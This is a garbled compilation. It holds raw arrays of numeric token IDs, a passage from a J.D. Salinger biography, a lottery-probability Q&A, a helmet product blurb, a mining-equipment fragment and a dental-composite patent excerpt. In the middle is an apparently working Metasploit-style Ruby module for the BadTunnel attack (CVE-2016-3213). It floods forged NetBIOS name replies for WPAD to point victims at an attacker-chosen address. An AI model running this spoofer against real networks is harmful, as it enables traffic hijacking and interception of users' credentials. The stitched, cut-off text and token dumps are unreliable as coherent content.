1909, 4829, 347, 1896, 937, 352, 1239, 13, 346, 249, 253, 5968, 273, 18322, 322, 4052, 254, 13, 2363, 581, 13, 30039, 247, 19749, 46321, 16866, 281, 2997, 247, 4484, 1579, 66, 24732, 13, 309, 21434, 619, 8121, 13, 31854, 285, 313, 248, 7603, 1361, 779, 10, 8642, 3331, 13, 7252, 46600, 13, 21242, 2328, 316, 273, 253, 795, 4257, 48215, 8291, 21514, 273, 253, 1048, 5103, 13, 47398, 273, 253, 440, 856, 77, 692, 13, 26762, 273, 253, 29281, 314, 892, 1369, 899, 386, 13, 954, 440, 38398, 16453, 273, 5686, 1270, 9558, 14, 264, 5109, 13, 281, 2997, 436, 3965, 43816, 4789, 14, 13565, 1984, 449, 187, 187, 47, 28147, 13, 253, 31768, 369, 49317, 13, 1580, 352, 3534, 50216, 265, 715, 322, 4052, 254, 434, 3055, 1495, 1128, 72, 2815, 793, 265, 326, 247, 43834, 2327, 665, 7777, 3078, 281, 320, 247, 43834, 2327, 1620, 651, 452, 1677, 15, 1707, 369, 253, 3158, 2460, 273, 521, 581, 14, 2913, 14, 744, 3347, 1907, 11157, 342, 3095, 1128, 4238, 352, 322, 4052, 254, 32, 1707, 369, 253, 28423, 326, 521, 1682, 3331, 369, 7252, 46600, 13, 665, 369, 671, 521, 8121, 387, 253, 795, 4257, 48215, 8291, 285, 253, 2879, 11341, 326, 46600, 369, 521, 1682, 3331, 984, 46600, 7636, 1048, 13768, 13, 6885, 440, 856, 77, 692, 11597, 13, 285, 25860, 892, 1369, 899, 386, 952, 15, 1876, 273, 841, 13, 273, 2282, 13, 497, 10414, 281, 253, 1039, 322, 4052, 254, 1364, 452, 11575, 2994, 15, 380, 346, 248, 7603, 1361, 779, 3, 4385, 369, 1014, 322, 4052, 254, 434, 1211, 22796, 281, 1339, 521, 10668, 871, 344, 7192, 326, 407, 26086, 46600, 347, 521, 1682, 3331, 344, 369, 33243, 3834, 247, 5542, 273, 549, 33659, 7458, 4830, 46600, 665, 651, 15598, 779, 275, 13079, 273, 4560, 562, 625, 670, 322, 4052, 254, 1128, 66, 13742, 46600, 812, 417, 452, 22765, 1428, 15, 187, 187, 510, 31768, 369, 18183, 74, 1285, 19678, 323, 3095, 665, 4455, 281, 971, 281, 10507, 2994, 432, 253, 1345, 15, 733, 5420, 281, 320, 247, 716, 511, 13, 9257, 37171, 407, 322, 4052, 254, 2994, 15, 1310, 322, 4052, 254, 574, 3078, 281, 5514, 9038, 521, 1984, 281, 46600, 533, 1335, 6034, 281, 4017, 521, 11068, 13, 512, 344, 574, 281, 513, 369, 1408, 253, 31768, 347, 954, 5514, 13211, 273, 436, 3686, 403, 1408, 15, 346, 1992, 7252, 46600, 937, 352, 943, 452, 1239, 15, 7214, 3095, 4882, 10507, 14, 395, 14, 32179, 342, 521, 8446, 651, 3959, 841, 346, 28293, 479, 604, 368, 476, 3, 18882, 11209, 326, 1160, 521, 7458, 971, 281, 871, 625, 13, 417, 1679, 13, 670, 779, 15, 187, 187, 26021, 253, 31768, 13, 322, 4052, 254, 2530, 253, 8660, 14, 75, 8300, 3491, 13, 3738, 352, 369, 17663, 2822, 253, 337, 13, 933, 3000, 344, 574, 12316, 323, 271, 10199, 15, 733, 13, 1512, 13, 369, 38612, 39074, 15553, 13, 2120, 273, 25175, 285, 5258, 7459, 10414, 281, 521, 1495, 285, 789, 15, 187, 187, 10342, 3012, 13, 253, 18553, 3491, 6289, 281, 247, 1180, 273, 643, 6281, 275, 253, 2987, 15, 3900, 352, 369, 2032, 767, 643, 322, 4052, 254, 7437, 574, 5420, 5550, 3251, 1105, 454, 3, 285, 346, 21328, 885, 4855, 253, 8741, 1171, 2325, 312, 13, 2639, 21601, 398, 8375, 752, 253, 1345, 812, 417, 452, 1929, 275, 21054, 1128, 5371, 651, 417, 2489, 4755, 323, 1107, 281, 1705, 1128, 4238, 326, 627, 497, 642, 27085, 322, 4052, 254, 40336, 1146, 2918, 407, 253, 795, 4257, 48215, 3333, 4794, 281, 512, 5368, 5861, 13, 627, 497, 13, 275, 21054, 13, 642, 747, 322, 4052, 254, 6281, 390, 22458 ]

, _Newsweek_ assigned a photographer to go to Cornish. Oddly enough, on the day the photographer was there, he ran across Salinger right away as Salinger was walking along the road near his house with his daughter, who was then four and a half years old. The photographer approached Salinger, who was so polite the photographer felt shamed into telling him why he was in Cornish—to take a picture of him for _Newsweek._ Salinger thanked the photographer for not trying to "sneak" a picture; then he said to him a line that was supposed to explain why he had turned into the recluse he was. "My method of work is such that any interruption throws me off," Salinger said. "I can't have my picture taken or have an interview until I've completed what I've set out to do." What exactly Salinger meant by that comment was unclear. What _was_ clear was this: Whether or not his intentions behind becoming a recluse were pure, the more Salinger said he didn't want any press coverage, the more the media wanted to cover him. A simple concept may have been at work here: If one tells a person he can't know about something, the person only wants to know about it more. On some level, then, the public was interested in Salinger _because_ he didn't want them to know anything about him. So by doing nothing—nothing but selling substantial quantities of books—Salinger had become the subject of a profile in one of the country's two major newsmagazines. As it turned out, it was just the beginning of the press attention Salinger would receive over the next year or so. For an author who didn't want to be written about, few authors would be written about more. 2 The years 1961 and 1962 would mark the high point of Salinger's career to date. By early 1961, _The Catcher in the Rye_ had sold 1.25 million copies—an astonishing quantity for a serious novel about a teenage boy's coming-of-age. This meant the novel was selling over 100,000 copies a year. Of course, most of the sales resulted from the novel becoming a staple of reading lists in colleges and prep schools and from university English departments making Salinger one of the contemporary authors academics were taking seriously. There were other indicators of Salinger's appeal. For example, so many fans had written to the _New Yorker_ for copies of back issues containing Salinger's stories that the magazine's supply of those issues was exhausted. Because of this success, because of the subject matter of his fiction, and because he had chosen to live his life in seclusion, a legend was growing around Salinger. Rumors filtered through his body of fans as one told another what was being said about him. One rumor had Salinger posting a notice on the bulletin board in the offices of the _New Yorker,_ asking for an apartment in a "quiet Buddhist neighborhood." Another had him and Claire, so much like Franny anyway, going into restaurants, where they would sit silently at their table moving their lips but not speaking, as if they were soundlessly mouthing the Jesus Prayer. These and other rumors were addressed in an article written by Edward Kosner that appeared in the _New York Post_ on April 30, 1961. The piece was a follow-up to the _Newsweek_ article that ran the year before, and it predicted what was going to happen when Salinger published his new book. In his article Kosner mentioned just some of the people he had approached who would not talk about Salinger. At the _New Yorker,_ William Shawn said, "Salinger simply does not want to be written about," while an insider at the Harold Ober Agency said, "This man wants his privacy." Regardless, Kosner tried to paint some semblance of a portrait of Salinger, even though no one, not even Salinger's neighbors in Cornish, would talk to him on or off the record. Naturally, the portrait Kosner painted was sketchy: Salinger lived on one hundred acres in a five-room house designed by the architect and sculptor Augustus Saint-Gaudens, who was famous for creating the statue of Abraham Lincoln that had supposedly inspired the president's memorial in Washington, D.C. Set on a hill overlooking the Connecticut River and the Green Mountains in Vermont, the house seemed ideal for Salinger's family—Claire, now twenty-seven; Peggy, five; and Matthew, fifteen months. Salinger regularly attended town meetings with his wife, Kosner said, but mostly what he did, the one thing he loved to do more than anything else, was write. After the hoopla over Kosner's _Post_ piece died down, Salinger spent the summer, when he was not working on new material, getting ready for the publication of his next book. Salinger had decided to take two pieces of fiction that had appeared in the _New Yorker,_ put them together, and release them as a book on their own. The pieces he had chosen were related in that they both dealt with the Glass family, One was "Franny," which was still being discussed even though it had appeared in the magazine years ago, and "Zooey," which seemed to Salinger to be the perfect companion piece. The book, to be called simply _Franny and Zooey,_ was sold by Olding to Little, Brown, who scheduled it for release in the early fall of 1961. Besides correcting the galleys for the book, Salinger actually had very little to do to prepare for the book's publication. This was true because of certain ground rules he had handed down to the publisher. There would be no advance publicity for the book. There would be a simple and understated art design for the book, although Salinger would provide a brief statement about the text; this decision itself was a compromise since Salinger had originally said he would write a 1,000-word introduction to the book but then changed his mind. There would be no advance sale of the book to clubs or any similar outlet. In other words _Franny and Zooey_ would be issued with as little fanfare as possible. The publisher would merely ship the book to stores, and those readers who wanted to would buy it. The publication date for _Franny and Zooey_ was set for September 14. When readers did buy the book—125,000 copies were sold in its first two weeks of release alone—they discovered, besides "Franny" and "Zooey," two new pieces of writing by Salinger. One was the book's dedication, with a reference to his year-old son and a testimonial to his _New Yorker_ editor, William Shawn. "As nearly as possible," it read, "in the spirit of Matthew Salinger, age one, urging a luncheon companion to accept a cool lima bean, I urge my editor, mentor and (heaven help him) closest friend, William Shawn, genius domus of the _New Yorker,_ lover of the long shot, protector of the unprolific, defender of the hopelessly flamboyant, most unreasonably modest of born great artist-editors, to accept this pretty skimpy-looking book." Naturally, the dedication was provocative, since it gave glimpses into Salinger's private life—glimpses that a recluse who truly wanted to be a recluse never would have given. There was the quick image of his one-year-old son having lunch with someone—was it Salinger? There was the revelation that his best friend was William Shawn, who was also his editor at the _New Yorker,_ and the added admission that Shawn was his best friend because Shawn loved long shots, protected unprolific writers, and defended flamboyant people. All of these, of course, were references to the way Salinger must have viewed himself. The "heaven help him" comment was even Salinger's own clue to let his readers know he understood that by naming Shawn as his best friend he was unleashing a stream of ardent fans onto Shawn who would harass him in hopes of finding out more about Salinger—a fate Shawn could not have cherished. The dedication was peculiarly revealing for someone who seemed to want to hide himself from the public. It appeared to be a tease, carefully crafted by Salinger himself. If Salinger had wanted to dedicate his book to Shawn but still intended to protect his privacy, all he had to do was run the dedication as most dedications of this sort are run. "To William Shawn," it should have read. Only someone playing hide-and-seek with his audience would offer these "catch me if you can" tidbits that made his fans want to know more, not less, about him. Besides the dedication, Salinger provided the dust-jacket copy, although it was nowhere near the 1,000 words he had promised for an introduction. It, too, was strangely autobiographical, full of coded and uncoded references to his life and work. Most significantly, the jacket copy referred to a number of other stories in the works. While it was true two other Salinger pieces had appeared ("Seymour" and "Raise High the Roof Beam, Carpenters"), what the public could not have known in 1961—what would not become obvious for years to come—was that there were no unpublished Salinger manuscripts being held by the _New Yorker._ According to all existing records, there were, in 1961, no new Salinger stories or nov

[ 60, 187, 50268, 60, 686, 7456, 8, 5032, 187, 50270, 1092, 187, 50272, 8, 12161, 422, 40013, 8, 3001, 187, 50270, 60, 187, 50268, 8, 7456, 8, 187, 50270, 1092, 187, 50272, 8, 9671, 9019, 8, 50276, 14490, 686, 7456, 1383, 187, 50272, 8, 4941, 8, 50273, 14490, 187, 50270, 60, 187, 50268, 5013, 9715, 1383, 686, 2413, 1358, 89, 13068, 15, 1866, 1154, 15, 681, 16, 257, 16, 6961, 16, 3071, 16, 1166, 16, 24494, 53, 35989, 14, 34, 14, 4257, 14, 24004, 16, 16445, 187, 50268, 5013, 8887, 38, 1383, 686, 6961, 14, 1237, 1012, 16445, 187, 50268, 5013, 3338, 35, 1383, 686, 3338, 1036, 14, 37253, 16445, 187, 50268, 5013, 8887, 38, 1383, 686, 6961, 14, 1237, 1812, 16445, 187, 50268, 5013, 3338, 35, 1383, 686, 3338, 1036, 14, 39126, 6038, 187, 50270, 1092, 187, 50272, 8, 6744, 14019, 6958, 8, 3001, 686, 29627, 1638, 4022, 8, 187, 50274, 10, 535, 50274, 15905, 64, 10121, 9, 187, 50272, 60, 187, 50270, 13967, 12236, 15, 1826, 2073, 7611, 55, 31621, 1383, 50275, 60, 2032, 13, 346, 510, 1980, 3167, 281, 8028, 327, 17295, 686, 17, 15, 17, 15, 17, 15, 17, 8, 5032, 582, 187, 50270, 13967, 11688, 15, 1826, 2073, 7611, 55, 13766, 1383, 50272, 60, 2032, 13, 346, 510, 1980, 2245, 281, 8028, 327, 17295, 14509, 5032, 582, 187, 50270, 13967, 2776, 15, 1826, 2073, 23097, 9536, 1383, 50273, 60, 2032, 13, 346, 510, 5357, 6159, 2697, 1416, 281, 15695, 1171, 247, 12252, 323, 995, 686, 28124, 2350, 8, 5032, 582, 187, 50270, 13967, 12236, 15, 1826, 2073, 23097, 20144, 1383, 50274, 60, 2032, 13, 346, 510, 2953, 326, 253, 5357, 6159, 2697, 1416, 943, 11322, 281, 995, 36533, 1450, 22274, 15, 6756, 64, 12025, 1587, 1235, 15, 1235, 15, 1235, 15, 1235, 2807, 5032, 582, 187, 50270, 13967, 4807, 15, 1826, 2073, 49, 3299, 47036, 1383, 50271, 60, 2032, 13, 346, 510, 2281, 387, 534, 281, 5007, 5357, 6159, 2697, 32114, 995, 337, 64, 933, 3291, 187, 50272, 3291, 187, 50276, 423, 535, 50276, 1545, 2036, 67, 3783, 64, 10613, 187, 50274, 33, 631, 426, 2856, 505, 410, 5013, 7611, 55, 13766, 36676, 936, 64, 74, 535, 50274, 4, 5602, 2697, 1594, 42182, 187, 50274, 1450, 22274, 15, 3088, 64, 1439, 64, 32514, 64, 26178, 426, 2032, 535, 50274, 33, 37123, 426, 12590, 7273, 3299, 5156, 15, 1826, 1082, 187, 50274, 33, 37123, 15, 19598, 825, 2178, 9, 1450, 22274, 1450, 45136, 64, 42937, 2025, 13, 12590, 22274, 1450, 8683, 64, 1848, 17423, 20144, 13, 337, 10, 187, 50274, 33, 37123, 15, 13245, 9, 8608, 505, 410, 5013, 7611, 55, 31621, 16445, 1214, 631, 10, 535, 50274, 33, 85, 1662, 64, 4427, 426, 2856, 505, 410, 5013, 49, 3299, 47036, 6038, 187, 50274, 33, 39182, 64, 1590, 426, 2856, 505, 410, 5013, 23097, 9536, 6038, 187, 50274, 33, 39182, 64, 9834, 426, 2856, 505, 410, 5013, 23097, 20144, 6038, 535, 50274, 3845, 64, 8581, 1587, 2765, 2980, 323, 5357, 6159, 2697, 9762, 3255, 10, 535, 50274, 2043, 187, 50272, 14075, 513, 187, 50270, 28575, 13, 26181, 426, 1214, 37123, 15, 46376, 4064, 9, 25320, 1671, 10, 187, 50270, 8384, 604, 13138, 15, 3985, 2295, 470, 535, 50270, 33, 85, 1662, 64, 9834, 426, 26181, 60, 20, 62, 187, 50270, 33, 85, 1662, 64, 631, 426, 26181, 60, 18, 62, 187, 50270, 7054, 187, 50272, 423, 535, 50272, 4, 24202, 27, 44850, 776, 4828, 1754, 327, 253, 19685, 1838, 273, 436, 2748, 187, 50272, 3845, 64, 8581, 1587, 41672, 247, 5357, 6159, 2697, 2748, 432, 42298, 33, 85, 1662, 64, 9834, 17168, 4, 92, 33, 85, 1662, 64, 631, 94, 2807, 187, 50272, 33, 37123, 15, 11025, 22256, 85, 1662, 64, 9834, 13, 1214, 85, 1662, 64, 631, 10, 535, 50272, 3024, 67, 3783, 64, 1033, 312, 535, 50274, 373, 30940, 12590, 6504, 3787, 187, 50272, 22525, 370, 2, 187, 50274, 373, 30940, 12590, 5330, 3001, 299, 187, 50272, 3845, 64, 3775, 1587, 4756, 42298, 70, 15, 2437, 94, 42298, 70, 94, 42298, 70, 15, 2135, 20668, 94, 2807, 187, 50274, 5358, 187, 50272, 33, 37123, 15, 10483, 604, 1214, 37123, 187, 50274, 423, 187, 50276, 423, 535, 50276, 1545, 2036, 67, 3783, 64, 1033, 312, 187, 50274, 35704, 426, 187, 50270, 35343, 21671, 61, 21671, 3, 50275, 12, 1852, 19685, 5417, 313, 9846, 45294, 3490, 436, 10, 187, 50270, 35343, 89, 2227, 61, 89, 361, 3, 50275, 12, 1852, 2884, 3544, 426, 2380, 559, 2488, 255, 800, 559, 43489, 6799, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 30254, 426, 470, 187, 50270, 35343, 89, 361, 61, 89, 520, 3, 50275, 12, 1852, 37741, 21077, 84, 426, 337, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 17907, 21077, 84, 426, 470, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 14117, 21077, 84, 426, 470, 187, 50270, 35343, 89, 938, 3, 50271, 12, 187, 50270, 51, 911, 1450, 36627, 1450, 6955, 35, 1450, 19611, 15, 5668, 1590, 64, 25950, 9, 1008, 39182, 64, 1590, 15, 484, 5045, 1570, 6896, 1587, 34, 1010, 2807, 559, 8894, 89, 361, 3, 2387, 559, 187, 50270, 35343, 89, 361, 3, 50271, 12, 187, 50270, 35343, 89, 361, 61, 89, 938, 3, 50275, 12, 1852, 8078, 426, 34521, 187, 50270, 35343, 89, 361, 61, 89, 520, 3, 50275, 12, 1852, 6550, 426, 2949, 187, 50270, 35343, 89, 361, 61, 89, 2125, 61, 89, 4590, 61, 7096, 17, 3, 559, 1852, 308, 14135, 1048, 673, 187, 50270, 35343, 89, 361, 61, 89, 3071, 3, 50275, 12, 1852, 399, 3165, 1746, 426, 721, 187, 50270, 35343, 89, 361, 61, 89, 361, 3, 50275, 12, 1852, 2884, 3544, 378, 14, 6219, 13, 4451, 187, 50270, 51, 911, 1450, 22274, 15, 9834, 64, 13078, 22256, 39182, 64, 9834, 10, 535, 50274, 296, 553, 426, 6865, 15, 2666, 15, 936, 64, 71, 187, 50274, 5902, 2649, 426, 470, 187, 50274, 44361, 50276, 30, 470, 535, 50274, 3845, 64, 8581, 1587, 6104, 28444, 5357, 6159, 2697, 6128, 323, 42298, 33, 39182, 64, 1590, 9228, 4, 92, 33, 39182, 64, 9834, 94, 281, 42298, 33, 85, 1662, 64, 9834, 17168, 4, 92, 33, 85, 1662, 64, 631, 94, 387, 42298, 33, 85, 1662, 64, 4427, 9228, 44361, 3255, 10, 535, 50274, 22621, 426, 2032, 187, 50274, 6050, 3153, 187, 50272, 17, 15, 18642, 80, 9, 25320, 1671, 10, 513, 1040, 10136, 301, 93, 187, 50270, 2043, 187, 50268, 35704, 60, 17, 13, 19, 62, 426, 544, 10136, 301, 1570, 6896, 1587, 79, 2807, 187, 50268, 33, 37123, 15, 6343, 9, 35704, 10, 187, 50268, 5902, 2649, 7079, 337, 535, 50268, 44361, 426, 313, 5902, 2649, 1227, 313, 4769, 15, 2666, 15, 936, 64, 71, 428, 331, 553, 5029, 936, 64, 74, 187, 50268, 338, 268, 793, 2239, 1214, 85, 1662, 64, 4427, 187, 50266, 28850, 9, 17, 15, 520, 10, 187, 50268, 423, 187, 50270, 373, 30940, 9717, 2369, 1450, 4625, 1139, 47, 15619, 28477, 187, 50268, 3845, 64, 3775, 1587, 4756, 27, 17661, 2197, 441, 271, 9276, 4548, 2245, 440, 21943, 494, 13, 2245, 310, 2779, 4581, 2807, 187, 50268, 22621, 426, 3221, 187, 50268, 7054, 187, 50270, 423, 187, 50272, 423, 187, 50274, 423, 187, 50276, 423, 535, 50276, 1545, 1408, 187, 50274, 14075, 551, 2036, 67, 3783, 64, 10613, 748, 187, 50276, 423, 187, 423, 187, 50, 27, 187, 187, 4967, 310, 627, 760, 337, 1039, 281, 2619, 577, 24321, 326, 3761, 32, 187, 187, 1552, 1953, 310, 432, 23840, 434, 5201, 6713, 8684, 40554, 818, 394, 11166, 27, 187, 688, 247, 36284, 13, 3773, 3330, 247, 1781, 17767, 672, 597, 2619, 1740, 24321, 326, 3761, 13, 275, 253, 3451, 1340, 13, 1740, 24321, 4236, 407, 247, 3632, 8651, 1232, 15, 329, 4577, 17767, 310, 1912, 604, 760, 1264, 24321, 403, 13373, 15, 1737, 310, 253, 5912, 326, 247, 4760, 14896, 253, 1781, 17767, 32, 1737, 310, 253, 5912, 326, 247, 4760, 14896, 253, 1355, 17767, 32, 187, 510, 3662, 1677, 310, 27, 209, 187, 2512, 310, 760, 581, 1039, 281, 5206, 512, 1740, 24321, 9113, 15, 2896, 253, 1885, 4086, 13, 627, 403, 884, 577, 426, 884, 13, 933, 4088, 281, 5206, 1740, 24321, 15, 7757, 13, 253, 5912, 326, 247, 4760, 14896, 253, 1781, 17767, 310, 337, 16, 740, 13, 933, 426, 470, 15, 5831, 15, 187, 3220, 4468, 310, 13, 2139, 310, 627, 760, 581, 1039, 281, 5206, 253, 577, 24321, 9113, 32, 14482, 79, 626, 627, 320, 884, 1290, 487, 77, 6973, 323, 672, 512, 253, 24321, 3761, 32, 34919, 13, 337, 10768, 13, 374, 18895, 13, 3346, 1157, 898, 16742, 15, 1893, 476, 11853, 5513, 436, 281, 479, 32, 309, 1158, 309, 1537, 452, 3731, 1088, 390, 46485, 690, 1841, 1051, 6701, 275, 7170, 2, 187, 187, 34, 27, 187, 187, 2302, 13, 436, 310, 247, 36284, 15, 380, 9880, 1180, 310, 370, 1857, 2251, 5, 323, 1650, 15, 1244, 253, 760, 1039, 281, 2619, 326, 1180, 310, 27, 370, 1857, 2251, 1352, 209, 187, 2042, 253, 9880, 1180, 310, 370, 13721, 1366, 840, 8871, 370, 1418, 5, 310, 417, 8871, 253, 9880, 1180, 15, 187, 1394, 403, 417, 11038, 253, 3904, 342, 3746, 13, 368, 1472, 11038, 731, 342, 253, 9880, 1180, 15, 535, 2042, 368, 1379, 634, 5694, 67, 2804, 28742, 10369, 2217, 281, 971, 247, 7060, 9851, 14, 484, 3148, 275, 634, 26358, 13, 368, 476, 1024, 513, 1633, 670, 352, 15, 8229, 26095, 556, 816, 10098, 247, 6207, 4989, 1504, 272, 4544, 323, 697, 10469, 14, 19823, 1481, 47398, 13, 1024, 4907, 253, 6647, 14, 18, 28, 499, 3938, 1066, 370, 18, 13, 32960, 285, 368, 943, 320, 581, 273, 253, 806, 281, 755, 253, 8251, 494, 672, 352, 11811, 275, 2552, 4104, 15, 2064, 434, 1097, 247, 2257, 273, 2583, 285, 247, 1048, 673, 281, 3343, 13, 533, 8229, 26095, 310, 34601, 326, 368, 1833, 751, 253, 941, 368, 755, 1223, 327, 253, 3971, 15, 1284, 12316, 13, 253, 26358, 6493, 15034, 13, 247, 10581, 6568, 1859, 285, 15150, 8692, 327, 634, 1649, 263, 15, 28922, 13896, 1339, 368, 1978, 247, 17628, 327, 253, 6016, 33396, 13, 285, 21679, 25015, 4850, 253, 1481, 463, 274, 3909, 15, 380, 4376, 4566, 598, 281, 370, 18, 13, 37972, 604, 368, 3343, 1919, 8027, 281, 1056, 247, 7471, 13, 594, 368, 778, 971, 281, 4514, 2393, 604, 368, 1472, 3413, 281, 35919, 634, 767, 14, 18432, 17371, 27420, 15, 22526, 1608, 4584, 48525, 7284, 28553, 21307, 964, 353, 5824, 44102, 40061, 964, 187, 187, 2347, 1057, 247, 7284, 308, 409, 18683, 7733, 32, 20233, 44102, 40061, 16790, 187, 187, 34, 5328, 246, 409, 18683, 310, 247, 5313, 273, 15067, 6500, 326, 310, 3240, 4633, 285, 310, 908, 964, 3808, 4067, 14841, 6244, 452, 18234, 4396, 23677, 873, 598, 3587, 689, 253, 8511, 3803, 672, 253, 964, 1707, 403, 1027, 11809, 285, 8322, 273, 1824, 24825, 908, 13, 533, 253, 12553, 15, 18, 15, 7327, 273, 253, 14723, 187, 510, 3688, 7033, 281, 247, 15641, 273, 247, 14450, 45894, 4187, 6804, 11893, 273, 45614, 19, 342, 387, 1878, 581, 2007, 5148, 11893, 275, 247, 4315, 31553, 13, 281, 247, 16138, 8212, 342, 253, 15641, 347, 247, 20379, 285, 4044, 494, 407, 37374, 253, 15641, 13, 285, 281, 253, 897, 273, 253, 15641, 273, 253, 3688, 347, 247, 20379, 323, 16138, 38471, 15, 380, 3688, 2007, 7033, 281, 247, 1332, 323, 13828, 824, 247, 15641, 15, 187, 19, 15, 11451, 273, 15073, 3975, 187, 37, 3950, 38471, 403, 8212, 4753, 11616, 247, 33973, 8708, 3408, 13, 275, 1798, 247, 14159, 4315, 13, 285, 7522, 398, 4753, 13, 342, 13027, 30770, 6353, 1146, 908, 347, 247, 38669, 2144, 15, 329, 15641, 273, 38669, 4753, 275, 247, 31553, 310, 908, 347, 247, 20379, 323, 824, 247, 16138, 8212, 15, 380, 20379, 310, 2530, 275, 5558, 390, 15596, 830, 13, 891, 15, 70, 15, 253, 38669, 6353, 403, 11217, 715, 247, 5558, 8708, 3408, 15, 380, 5558, 8708, 3408, 3797, 36401, 534, 778, 320, 13657, 715, 253, 14159, 4315, 407, 26915, 15, 380, 3969, 16138, 8212, 310, 4447, 407, 37374, 253, 15641, 13, 891, 15, 70, 15, 407, 26915, 273, 253, 36401, 15, 380, 3520, 3607, 273, 253, 16138, 8212, 403, 8558, 3413, 407, 253, 1511, 285, 8394, 273, 30770, 38669, 4753, 285, 253, 5281, 13, 1979, 13, 285, 1979 ]

[ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service', 'References' => [ ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], ['CVE', '2016-3213'], ['MSB', 'MS16-063'], ['CVE', '2016-3236'], ['MSB', 'MS16-077'] ], 'DisclosureDate' => 'Jun 14 2016' ) register_options( [ OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) ]) end def netbios_service @port = datastore['SRVPORT'].to_i # MacOS X workaround ::Socket.do_not_reverse_lookup = true @sock = ::UDPSocket.new() @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) @sock.bind(datastore['SRVHOST'], @port) @targ_rate = datastore['PPSRATE'] @fake_name = datastore['NBNAME'] @fake_addr = datastore['NBADDR'] print_status("Listening for NetBIOS requests...") begin loop do packet, addr = @sock.recvfrom(65535) next if packet.length == 0 @targ_addr = addr[3] @targ_port = addr[1] break end # TODO: Seed our counter based on the TXID of this request print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}") @sock.connect(@targ_addr, @targ_port) netbios_spam rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error #{e.class} #{e} #{e.backtrace}") ensure @sock.close if @sock end end def netbios_spam payload = "\xff\xff" + # TX ID (will brute force this) "\x85\x00" + # Flags = response + authoratative + recursion desired "\x00\x00" + # Questions = 0 "\x00\x01" + # Answer RRs = 1 "\x00\x00" + # Authority RRs = 0 "\x00\x00" + # Additional RRs = 0 "\x20" + Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + "\x00" + "\x00\x20" + # Type = NB "\x00\x01" + # Class = IN "\x00\x04\x93\xe0" + # TTL long time "\x00\x06" + # Datalength = 6 "\x00\x00" + # Flags B-node, unique Rex::Socket.addr_aton(@fake_addr) stime = Time.now.to_f pcnt = 0 pps = 0 print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") live = true while live 0.upto(65535) do |txid| begin payload[0,2] = [txid].pack("n") @sock.write(payload) pcnt += 1 pps = (pcnt / (Time.now.to_f - stime)).to_i if pps > @targ_rate sleep(0.01) end rescue Errno::ECONNREFUSED print_error("Error: Target sent us an ICMP port unreachable, port is likely closed") live = false break end end end end def run loop { netbios_service } end end Q: Why is there only 1 way to pick 4 digits that match? This question is from Rosen's Discrete Math textbook 7th edition: In a lottery, players win a large prize when they pick four digits that match, in the correct order, four digits selected by a random mechanical process. A smaller prize is won if only three digits are matched. What is the probability that a player wins the large prize? What is the probability that a player wins the small prize? The answer given is: There is only one way to choose all four digits correctly. By the product rule, there are 10 4 = 10,000 ways to choose four digits. Hence, the probability that a player wins the large prize is 1/10,000 = 0.0001. My concern is, why is there only one way to choose the 4 digits correctly? Shouldn't there be 10 possibl outcomes for when all the digits match? 0000, 1111, 2222,..., 9999. So can somebody explain this to me? I think I might have misread or misunderstood some things... thanks in advance! A: No, this is a lottery. The winning number is $4567$ for example. And the only way to pick that number is: $4567$. If the winning number is $1111$, then picking $0000$ is not picking the winning number. You are not matching the numbers with themselves, you're matching them with the winning number. If you take your motorbike rides seriously enough to want a smart heads-up display in your helmet, you can now do something about it. Skully has just launched a crowdfunding campaign for its Android-powered head protector, now named the AR-1; plunk down $1,399 and you should be one of the first to get the wearable when it ships in May 2015. That's both a lot of money and a long time to wait, but Skully is betting that you'll like the data you get while on the road. As promised, the helmet projects navigation, a rear camera view and riding info on your visor. Voice commands let you keep a grip on the handlebars, and smartphone pairing gets the headgear online. The price goes up to $1,499 if you wait until launch to make a purchase, so you may want to commit early if you're determined to augment your two-wheeled adventures.Gold Shaker Plants Gold Wash Plant. MSI Mining Equipment. How does a Gold Trommel Work? Basic Mining Equipment Building A gold trommel is a piece of mining equipment that is quite popular and is used. Some larger wash plants have grizzlies set up directly over the hopper when the. There are different designs and amounts of water jets used, but the ultimate.1. Field of the Invention The invention relates to a dispersion of a nanoparticulate mixed oxide of SiO2 with at least one further metal oxide in a matrix monomer, to a dental composite with the dispersion as a precursor and obtainable by curing the dispersion, and to the use of the dispersion of the invention as a precursor for dental composites. The invention further relates to a method for preparing such a dispersion. 2. Description of Related Art Dental composites are composite materials comprising a polymeric organic phase, in particular a resin matrix, and fillers materials, with preferably inorganic particles being used as a filler material. A dispersion of filler materials in a monomer is used as a precursor for such a dental composite. The precursor is provided in liquid or paste form, i.e. the filler particles are incorporated into a liquid organic phase. The liquid organic phase includes monomers which may be transformed into the resin matrix by polymerization. The corresponding dental composite is formed by curing the dispersion, i.e. by polymerization of the monomers. The physical properties of the dental composite are primarily determined by the type and proportion of inorganic filler materials and the shape, size, and size

